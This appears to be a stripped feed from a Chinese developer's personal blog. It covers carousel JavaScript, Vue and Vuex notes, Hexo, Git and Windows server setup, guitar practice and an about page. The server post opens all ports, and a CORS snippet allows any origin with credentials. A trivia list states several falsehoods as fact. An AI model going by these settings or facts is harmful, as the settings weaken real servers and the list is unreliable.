当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色

function showBtn() {        for (var i = 0; i < btns.length; i++) {          if (btns[i].className == 'show-btn') {            btns[i].className = ''            break          }        }        btns[dot-1].className = 'show-btn'      }//遍历数组，将有该属性设为空for (var i = 0; i < btns.length; i++) {        btns[i].onclick = function () {          if (this.className == 'showBtn') {            return          }          var myIndex = parseInt(this.getAttribute('index'))          var leng = -200 * (myIndex - dot)          animate(leng)          dot = myIndex          showBtn()        }      }//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离

这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu

延迟动画函数

就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理

首先，定义参数

var time = 300  //位移总时间var interval = 10  //位移时间间隔var speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思

设置递归函数

if ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) {          list.style.left = parseInt(list.style.left) + speed + 'px'          setTimeout(go, interval)  //递归,调用自身函数

判断是否仍在动画
如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止
`
var animated = false //设初值

if(!animated) {
animate(200)
} //如果为false，则继续动画

### 自动播放首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放* 我们设两个函数，play（） 和 stop（）

function play() {
timer = setTimeout(function() {
next.onclick()
play()
},interval)
}
function stop() {
clearTimeout(timer)
}
`
给整个 container 容器添加该鼠标事件

这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦…

改天再研究下旋转木马的那种装个13…

]]> JS 轮播图 vue学习笔记（一） /2017/06/18/vue%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%88%E4%B8%80%EF%BC%89.html

vue的实例对象与生命周期

vue 的生命周期图

beforeCreate
在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。
created
实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。
beforeMount
在挂载开始之前被调用：相关的 render 函数首次被调用。
mounted
el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。
beforeUpdate
数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。
updated
由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。
当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。
该钩子在服务器端渲染期间不被调用。
beforeDestroy
实例销毁之前调用。在这一步，实例仍然完全可用。
destroyed
Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。该钩子在服务器端渲染期间不被调用。

实例对象

data

类型是Object或者Function。
var vm = new Vue({
data: data
})

computed

介绍
Vue的计算属性（computed)的属性会自动混入Vue的实例中。所有 getter 和 setter 的 this 上下文自动地绑定为 Vue 实例。这就很强大了，再计算属性中定义的函数里面可以直接使用指向了 vue 实例的 this

methods

类型: { [key: string]: Function }
methods 将被混入到 Vue 实例中。可以直接通过 VM 实例访问这些方法，或者在指令表达式中使用。方法中的 this 自动绑定为 Vue 实例。

watch

类型： { [key: string]: string | Function | Object }
一个对象，键是需要观察的表达式，值是对应回调函数。值也可以是方法名，或者包含选项的对象。Vue 实例将会在实例化时调用 $watch()，遍历 watch 对象的每一个属性。

总结

Vue的实例封装的还是挺有艺术性的，很符合开发者的思维规范，它的生命周期也非常清晰，使用起来也非常方便。MVVM双向绑定思想也是吊的可以

]]> vue vue 搭一个windows云服务器 /2017/06/16/%E6%90%AD%E4%B8%80%E4%B8%AAwindows%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8.html

前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~

买服务器

首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，
地方的话就近原则，访问应该会快点

配置服务器

我这里是配了 Windows2012 64位系统，1核1G内存
Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行
进入云服务器控制中心，打开安全组，按需求开放端口
我是开放了全部端口的，你可以随意

远程连接服务器

在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认

设置主页

进入云服务器之后，打开服务器管理器，[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发，勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]
中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了
安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件

设置分页

如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径
右键添加应用程序，将该项目的物理路径填上去就可以了

]]> 服务器 windows 腾讯云 hexo 搭建博客初体验 /2017/06/16/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2.html

hexo 搭建博客初体验

安装 hexo

> cnpm i hexo-cli -g报错的话就输入> cnpm i hexo --save查看安装是否成功> hexo -v

hexo配置

hexo 初始化

> hexo init然后> cnpm install到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续

连接 GitHub

在根目录打开 vim _config.yml，翻到最下面，改成我这样子的

如果你是用 github 仓库
deploy:
type: git
repo: https://git.coding.net/jzxer/jzxer.git
branch: master
如果你是用 coding 仓库
deploy:
type: coding
repo: https://github.com/j710328466/j710328466.github.io.git
branch: master

安装依赖包

> npm install hexo-deployer-git --save

开始

创建一篇新文章$ hexo new "My New Post"监听$ hexo server打包$ hexo generate上传$ hexo deploy

主题配置

打开根目录下的vim _config.yml
theme: material
将主题改成你喜欢的

主题推荐

每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。

Yilia

Yilia 是为 hexo 2.4+ 制作的主题。
崇尚简约优雅，以及极致的性能。

目前Github上Star最高的Hexo主题，支持几种不同的风格。
作者提供了非常完善的配置说明。

Material

原之质，物之渊
就是我现在用的这款，简洁大方，响应式设计。

]]> 博客搭建 hexo vue高仿qq音乐官网 /2017/06/15/vue%E9%AB%98%E4%BB%BFqq%E9%9F%B3%E4%B9%90%E5%AE%98%E7%BD%91.html

一直想做一个vue项目然后呢我就做了

效果预览

部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开

网易云音乐API

项目地址：github

预览地址：demo

Build Setup

# install dependenciescnpm i(可以用cnpm或yarn，更方便快捷，你值得拥有)# serve with hot reload at localhost:8564npm run dev# build for production with minificationnpm run build# build for production and view the bundle analyzer reportnpm run build --report# 网易云API部署 listen localhost:3000npm run start

技术栈

vue(数据绑定)
vue-router
vuex(管理组件状态，实现组件通信）
webpack(打包工具)
scss（原来想用stylus,回头看看我都快写完了…）
axios（我等下要重点讲这**）
组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..)
API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕…)

核心功能组件的实现

搜索功能

播放功能

(播放页面正在完善中，样式只是大概，待细化…)

跳转功能

(目前子目录只开通歌手列表)

自己挖的坑，自己埋

vuex的模块应用

一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）

qq音乐的轮播图

不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。

axios后端数据获取时产生的跨域问题

重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座
跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。

①. 针对本地相同端口服务器之间的跨域

这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：

 app.all('*', function (req, res, next) { res.header("Access-Control-Allow-Credentials", true) res.header("Access-Control-Allow-Origin", "*") res.header("Access-Control-Allow-Headers", "X-Requested-With") res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS") res.header("X-Powered-By", ' 3.2.1') res.header("Content-Type", "application/json;charset=utf-8") next() })

然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域…

②. 针对本地不同端口的服务器之间的跨域
就是将上面的头文件放在当前项目申请的服务器的那个api中。

③. 针对本地服务器对域名服务器访问的跨域问题
找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：
```
proxyTable: {   '/api': {   target: '[1]',   changeOrigin: true,   pathRewrite: {   '^/api': '/'   }  } }
```
就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可

终于

这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue
如果对你有帮助，给个star吧
我的简历

]]> web项目 vue vuex vue-router vuex 使用技巧 /2017/06/15/vuex-%E6%A8%A1%E5%9D%97%E4%BB%8B%E7%BB%8D.html

Action

提供方法和API请求,类似于mutation

mutation 修改 state 只能是同步的
action 充满了各种异步 api
actions: {  increment (context) {      context.commit('increment') }}另一种写法increment({commit}) {  commit('increment')}

分发 Action

store.dispatch(‘increment’)

]]> vue vuex git使用技巧 /2017/04/15/GIT%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html

流程

git连接GitHub

设置Git的信息(如果是第一次的话)

git config –global user.name “名字”
git config –global user.email “邮箱”

生成密匙(很重要)

这是你连接的必要部分，就相当于账号的登录密码，有这个你才能对GitHub上的项目进行操作

ssh-keygen -t rsa -C “710328466@qq.com“

配置密匙

将获取的密钥放到GitHub->setting下的SSH and GPG keys里面

新建项目

进入首页，新建一个repository

填写相应信息

  Repository name: 仓库名称  Description(可选): 仓库描述介绍  Public, Private : 仓库权限（公开共享，私有或指定合作者）  Initialize this repository with a README: 添加一个README.md  gitignore: 不需要进行版本管理的仓库类型，对应生成文件.gitignore  license: 证书类型，对应生成文件LICENSE

下载 git bash

下载地址去百度

将 gitHub 上的仓库克隆到本地

git clone https://github.com/j710328466/yourItem.git（j710328466/yourBlog.git替换成你博客的地址）
这个步骤以后你的本地项目文件夹下面就会多出个文件夹，该文件夹名即为你github上面的项目名，如图我多出了个yourItem文件夹，我们把本地项目文件夹下的所有文件（除了新多出的那个文件夹不用），其余都复制到那个新多出的文件夹下

cd Test 打开Test文件夹

git add . (添加所有文件)
git add readme.md
git commit -m “信息”
git push -u origin master 将本地文件上传到git仓库
如果push -u….报错，你就改成git pull –rebase origin master,重新push就可以了

git 基本操作

touch 文件名

添加到缓存

git status

查看该项目改变的文件
git status

git diff

默认是暂未缓存的改动，这个可以查自己目前版本和上一个版本的改动位置

git diff –cached

查看已缓存的改动

git diff HEAD

查看已缓存与未缓存的所有改动

git diff –stat

显示摘要而非整个diff

git rm

将条目从缓存区中移除

git mv

用于移动或重命名一个文件，目录
git add READMEgit mv README README.mdls

git 分支管理

git branch

查看当前分支
后面加单词，即是创建分支: git branch day1

删除分支

git branch -d testing

git checkout ‘分支名’

切换分支

git checkout -b newtest

创建新分支并切换到该分支下

git merge 分支

合并分支

]]> 版本管理 git Amani-间奏 /2017/03/28/Amani-%E9%97%B4%E5%A5%8F-1.html

]]> 音乐音乐前端的职业路线 /2017/03/19/%E5%89%8D%E7%AB%AF%E7%9A%84%E8%81%8C%E4%B8%9A%E8%B7%AF%E7%BA%BF.html

小结，一个优秀的前端leader，我认为应该具备的能力：

技术功底

重要功能或需求的开发，或提供解决方案，做技术选型

技术专攻

· HTML    理解语义化· CSS    动态居中动画    Bootstrap 样式类    Preprocessor兼容性     Hack与特征检测    CSS3属性与性能· js    Name hoisting    Prototype    Closure    Main loop    Promise    Delegation    Cross domain· Mobile    渐进增强    移动端交互    兼容性问题· Debug工具 · 方法性能    JSCache     control    性能测试

沟通能力

具备产品思维，需求分析评审，分发开发任务，和产品经理、设计师以及后端等沟通、协调

项目管理能力

开发需求的跟进，代码review，代码合并与发布等，精通svn或git是必须的，记住是精通，你新招的新手同事很可能不知道什么时候把别人写好的东西弄没了，你至少要知道如何找回吧

文档功力和执行力

前端开发规范，开发文档、开发标准的建立和实施，关键是实施

做老师的能力

新员工的培训、辅导

行业观察能力

前端的技术更新太快了，一个优秀的前端leader还要引导团队了解和学习新的技术，为以后做技术储备

不要太宅

这很重要，技术男大多很宅，要想做一个好的leader，就要多和不同的人特别是多和沟通方面强势的人打交道。
要不，等你做到leader的位置，即便是站在前端的角度来看有些极度不合理的需求，你也可能镇不住，天天接这样的需求，怨言就犹如漫天飞雪，受不了的人会选择离开，如果你的团队离职率高的话。。。Boss会觉得你是合适的吗？

]]> web前端前端规划一些不可思议的的事 /2017/03/07/%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%8F%AF%E6%80%9D%E8%AE%AE%E7%9A%84%E7%9A%84%E4%BA%8B.html

没有一张纸可对折超过7次
根据统计每年骡仔所杀的人比飞机失事所死的人还多
人睡觉比坐着看电视所消耗的卡路里还多
Wright’sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短
很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效
你的家中多数尘埃都是你的死皮
洋娃娃Barbie 全名是Barabra Millicent Roberts
希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来
玛丽莲梦露有6只脚趾
降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗
印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长
其实，河马跑得比人快
珍珠在醋中会溶
一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎
你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的
猪不能仰头望天空
‘quick brown fox jumps over the lazy dog’可以用尽26个字母
鸭的叫声是不会有回音的，暂时没有人知何解
蜗牛可不吃东西睡3年
著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房
如果一个月中，第一天是星期日，那个月便出现黑色星期五
把石头放在微波炉中加热会爆炸
1,111,111 x 1,111,111 = 1234567654321
唯一一个有15英文字母而又不会重复是的英文字’uncopyrightable’
猫可发出超过100个音，狗却只能发10个音
愈黑的环境下，猫的排尿次数会增加
将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重
根据牛津字典世界上最长的英文字是’pneumonoultramicroscopicsilicovolcanoconiosis’
人体的胃每2个星期便会更新一次分泌物，否则它会自我消化
可乐原是绿色的
虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨
走路上班的人最高比率的省是阿拉斯加
如果Barbie是人类，她是身形是39-23-33
美国平均每小时在空中的人有61000人
只有一种食物不会变坏:蜜糖
在加勒比海附近有一种蚝是会爬榭的
世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人
人顃的鼻及耳是毕生都不断长大
下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎
乳牛听音乐时可以供应更多牛奶
一条长颈鹿的舌头有2尺长
大象可用头来站立
蚂蚁早上醒来会抓痒
伟大发明家爱迪生是怕黑的
世上最老的金鱼是41岁，名叫Fred
爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智
阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚
只有55%的美国人知道太阳是一个星体
多数唇膏是有鱼鳞的
长颈鹿没办法咳嗽
猫头鹰是唯一能够分辨蓝色的鸟类
一只鲸鱼一分钟心跳只有九下
我们喝到肚子里头的水已经有三亿岁了
只有百分之三十的人可以放大缩小自己的鼻孔
一只牡蛎的性别会由男变女，此后一生中还会变个几次
根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑
在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来
一只变色龙的舌头是它自己身体的两倍长
最常用牙签的人是美国人
一个正常人的眼部肌肉一天平均要动上一万到一万五千次
大象死后还会保持站立姿势
有些昆虫没有头还可以再活上一年
达尔文光是画蒙那莉萨的嘴唇就花上十二年
玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩

世间真是无奇不有….

]]> 生活趣事电吉他即兴原理 /2017/02/15/%E7%94%B5%E5%90%89%E4%BB%96%E5%8D%B3%E5%85%B4%E5%8E%9F%E7%90%86.html

第一阶段

先确定好和弦进行，比如 1－6－4－5
再找到该调中每个和弦的五级和弦，5－3－1－2
把两个和弦的音归拢 12357 － 56713 － 34561 － 45672
这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）

第二阶段

重点音与经过音。
在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）
将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。
（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）

第三阶段

这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。
从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧
（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）
各个阶段的重点
建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。
第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。
第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）
另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。

]]> 音乐电吉他即兴原理 material主题使用攻略 /2017/02/15/material%E4%B8%BB%E9%A2%98%E4%BD%BF%E7%94%A8%E6%94%BB%E7%95%A5.html

安装[Material]

npm install hexo-meterial

该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material

启用[Material]

找到主题文件下的_config.template.yml 改成 _config.yml

更新[Material]

npm update hexo-material

让后将文件复制到 Material 主题文件中

配置主题

head

favicon: 网站的 favicon
high_res_favicon: 高清 favicon
apple_touch_icon: iOS 主屏按钮图标
keywords: 网站关键词

url

rss: 设置生成的 rss 或 atom url
daily_pic: 设置 daily_pic 模块点击时跳转的 url
logo: 设置 logo 点击时跳转的 url

scheme

Paradox
默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。
Isolation
Paradox 的至简样式，简洁明了。

uiux

用于设置主题 UI 与 UX。

heme_color: 主题主要颜色。主题的大部分地方使用此颜色。
theme_sub_color: 主题辅助颜色。
hyperlink_color: 超链接颜色。
button_color: 按钮颜色，例如 toTop 或 menu_button。
android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。
nprogress_color: 页面加载时顶部加载进度条的颜色。
nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。

js_effect

用来控制 Material 主题中自带的多种 js 特性。

fade: 页面加载时部分模块的渐显效果，默认为 true。
smoothscroll: 页面平滑滚动特效，默认为 false。

reading

entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。

entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。

background

用于设置站点背景。

purecolor: 填入颜色代码。则站点使用纯色背景。
bgimg: 背景地址，默认调用主题文件夹 -> source -> img 中的 bg.png。可更换此图片或者自己填入 url。
bing: 用于启用“必应美图”的图片作为背景。

用于设置 Paradox 侧边栏用户下拉菜单，默认为空。

dropdown:    page:        link: "mailto: someone@example.com"        icon: email        divider: 设置成 true 后会在归档按钮底部增加一条分割线。

创建文章

使用命令行

hexo new <title>

手动创建也行

格式

layout      布局          posttitle      标题          文件名date      建立日期        文件建立日期updated      更新日期        文件更新日期tags      标签（不适用于分页）    categories               分类（不适用于分页）    permalink               覆盖文章网址    thumbnail 缩略图地址    toc          显示 TOC 按钮       truecomment      显示评论           truenotag      不生成标签按钮    falsetop    置顶     false

创建「关于我」页面

新建一个 about 页面：

hexo new page "about"

创建「友情链接」页面

创建页面

在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。

---title: linksdate:layout: links---

title 可修改，layout 不可修改。

添加数据

同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。

然后在文件内创建一个名为 links.yml 的文件。

单个友情链接的格式为：

Name:    link: http://example.com    avatar: http://example.com/avatar.png    descr: "这是一个描述"

创建「图库」页面

创建页面

在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。

然后在文件内创建一个名为 index.md 的 Markdown 文件。

在 index.md 文件内写入如下内容即可。

---title: gallerydate:layout: gallery---

添加数据

同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。

然后在文件内创建一个名为 gallery.yml 的文件。

单个图片的格式为：

Name:    full_link: http://example.com/full-image.png    thumb_link: http://example.com/thumb-image.png    descr: "这是一个描述"

创建「标签云」页面

创建页面

在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。

然后在文件内创建一个名为 index.md 的 Markdown 文件。

在 index.md 文件内写入如下内容即可。

---title: tagsdate:layout: tags---

创建「私有」页面

如果某篇文章不想显示在站点中，只需要在 front-matter 中加入

layout: private

]]> 博客搭建 hexo 我是愤怒 /2017/01/07/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html

]]> 音乐 beyond rock 光辉岁月-间奏 /2016/11/20/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html

]]> 音乐 beyond rock 梦中的婚礼 /2016/08/15/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html

]]> 音乐指弹古典个人简介 /about/index.html

姓名：江志雄
性别：你猜
专业：软件工程

工作经历

南昌·午逅科技
任务职责：完成移动端 H5 页面开发
工作目的：还原设计师给的设计稿，调整兼容性问题
2017.06 – 2017.09
杭州·机蜜
任务职责：前端业务，公共工具开发
2017.10 – 至今

个人作品

vue仿QQ音乐
水灵
微信小程序：蛋糕定制demo（未完成。。。）

技术栈

前端

Vuejs React
JavaScript(ES5 ES6)
HTML5 CSS/CSS3
SASS(SCSS)
熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)

后端

Nodejs(ExpressJS,KoaJS)

数据库

MongoDB

自动化构建

webpack gulp parcel

版本管理

GIT SVN

目前学习计划

基于vue的SSR框架nuxt
nodeJS / koa2

兴趣爱好

看书
健身
摇滚乐 (靠 “谱”)

自我介绍

本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)

tag
行动派: 认准一件事就会全力以赴,不达目的不罢休
艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
联系方式
qq: 710328466
tel: 15216030330(中午和晚上一般都关机，我要睡觉…)
blog

]]> gallery /gallery/index.html ]]> links /links/index.html ]]> tags /tags/index.html ]]> timeline /timeline/index.html ]]>

介绍

cookie

cookie 的属性

cookie 的弊端

session

session 属性

signedCookie

介绍

1. 注册一个账号

2. 配置文件：Procfile

3. 下载工具包

4. 登录账户

5. 创建远程仓库

6. 推送到远端

7. 测试项目

8. 插件

nginx 介绍

查看 nginx 进程

nginx.conf 配置

nginx 问题总结

ubuntu 下卸载不干净

介绍

1. 不要用 Eval

2. 使用 strict 模式

3. 使用 Eslint 测试代码规范

4. 全面测试

5. Unix 下不要直接使用 sudo node app.js

6. 避免 shell command 注入

7. 临时文件

8. 加密 Web 应用

9. Reflected Cross Site Scripting

10. 看好你的 cookie

11. 内容安全策略（CSP）

12. Cross-Site Request Forgery

node 连接云 redis

1. 要求

2. 在云服务器 ECS Linux 中安装 rinetd

3. 打开配置文件 rinetd.conf

4. 在配置文件中输入如下内容

5. 执行如下命令启动 rinetd

6. 在本地进行验证测试

7. 客户端连接 Redis

8. 小结

学生思维

1. 认为准备好了再做

2. 被动接受，而不是主动获取

3. 不愿意面对不可预期的逆境

4. 小孩子脾气

5. 过于放大自己的价值

6. 懒于改变

7. 给自己画一条线

8. 没有意识到要和优秀的人在一起

9. 不知道衡量 10 年总收入

10. 小红花意识

11. 连他都可以

12. 不会保护自己

13. 伸手党意识

14. 理性投资消费

15. 做为新人不够谦虚

16. 认识人多就是资源

17. 缺乏职场必要的沟通

18. 锚定在周围人身上

19. 缺乏自己判断，容易被他人影响

20. 没有能力边界的概念

正则的介绍

修饰符

i

g

m

方括号

[abc]

[^abc]

[0-9]

[a-z]

[A-Z]

[A-z]

[adgk]

[^adgk]

[red|blue|green]

元字符